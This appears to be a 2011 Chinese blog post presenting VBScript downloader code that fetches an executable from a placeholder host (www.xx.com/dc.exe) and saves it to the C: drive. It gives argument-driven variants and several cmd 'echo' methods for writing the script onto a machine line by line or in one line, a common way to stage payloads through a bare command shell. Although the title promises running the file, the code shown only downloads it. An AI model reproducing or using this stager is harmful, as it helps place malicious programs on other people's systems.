自动下载并运行的VBS脚本代码
2011-06-23 09:58
951 查看
自动下载并运行的VBS脚本代码Set xPost = createObject("Microsoft.XMLHTTP") xPost.Open "GET","http://www.xx.com/dc.exe",0 '下载文件的地址 xPost.Send() Set sGet = createObject("ADODB.Stream") sGet.Mode = 3 sGet.Type = 1 sGet.Open() sGet.Write(xPost.responseBody) sGet.SaveToFile "c:/dc.exe",2 '保存文件的路径和文件名 把以上代码保存在xx.vbs文件 执行cmd.exe xx.vbs 使用ECHO方法写入 echo Set xPost = createObject("Microsoft.XMLHTTP") >dc.vbs echo xPost.Open "GET",http://www.xxx.com/dc.exe,0 >>dc.vbs echo xPost.Send() >>dc.vbs echo Set sGet = createObject("ADODB.Stream") >>dc.vbs echo sGet.Mode = 3 >>dc.vbs echo sGet.Type = 1 >>dc.vbs echo sGet.Open() >>dc.vbs echo sGet.Write(xPost.responseBody) >>dc.vbs echo sGet.SaveToFile "c:/dc.exe",2 >>dc.vbs ===================带参数的WGET.vbs========== on error resume next iLocal=LCase(Wscript.Arguments(1)) iRemote=LCase(Wscript.Arguments(0)) Set xPost=createObject("Microsoft.XMLHTTP") xPost.Open "GET",iRemote,0 xPost.Send() set sGet=createObject("ADODB.Stream") sGet.Mode=3 sGet.Type=1 sGet.Open() sGet.Write xPost.ResponseBody sGet.SaveToFile iLocal,2 ===================带参数的WGET.vbs========== ===================带参数的WGET.vbs========== echo on echo on error resume next >dc.vbs echo iLocal=LCase(Wscript.Arguments(1))>>dc.vbs echo iRemote=LCase(Wscript.Arguments(0))>>dc.vbs echo Set xPost=createObject("Microsoft.XMLHTTP")>>dc.vbs echo xPost.Open "GET",iRemote,0>>dc.vbs echo xPost.Send()>>dc.vbs echo set sGet=createObject("ADODB.Stream")>>dc.vbs echo sGet.Mode=3>>dc.vbs echo sGet.Type=1>>dc.vbs echo sGet.Open()>>dc.vbs echo sGet.Write xPost.ResponseBody>>dc.vbs echo sGet.SaveToFile iLocal,2>>dc.vbs echo off pasue ===================带参数的WGET.vbs========== 1.iget.vbs一次写入 在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写 Set x= createObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 这样我们可以一次echo成功,echo版本: echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs |
相关文章推荐
- 测试脚本自动运行的VBS 脚本
- shell脚本运行5秒后自动退出的代码
- VBS取QQ或TM自动登录代码并防止关闭的脚本
- vbs脚本实现下载jre包并静默安装的代码实例
- Linux下使用Shell脚本实现ftp的自动上传下载的代码小结 【转】
- 使用expect脚本自动下载和同步代码
- Linux下使用Shell脚本实现ftp的自动上传下载的代码小结
- 利用VBS脚本自动创建计算机帐户的代码
- Linux下使用Shell脚本实现ftp的自动上传下载的代码小结
- Linux下使用Shell脚本实现ftp的自动上传下载的代码小结
- 自动更新svn代码到运行环境的shell脚本
- 【CSDN下载】第六期:微信小程序跳一跳自动运行脚本 、Android反编译全套工具
- 自动从vss下载代码并编译的脚本
- window自制bat,vbs脚本,自动在后台运行nodejs application
- PowerDesigner脚本:自动设置Identity属性的代码
- 我想在打开网页的时候自动运行这个代码啊
- 通过脚本自动下载Esri会议材料
- 从svn上下载代码到本地 导致 MyEclipse 不能自动编译源代码到 classes文件夹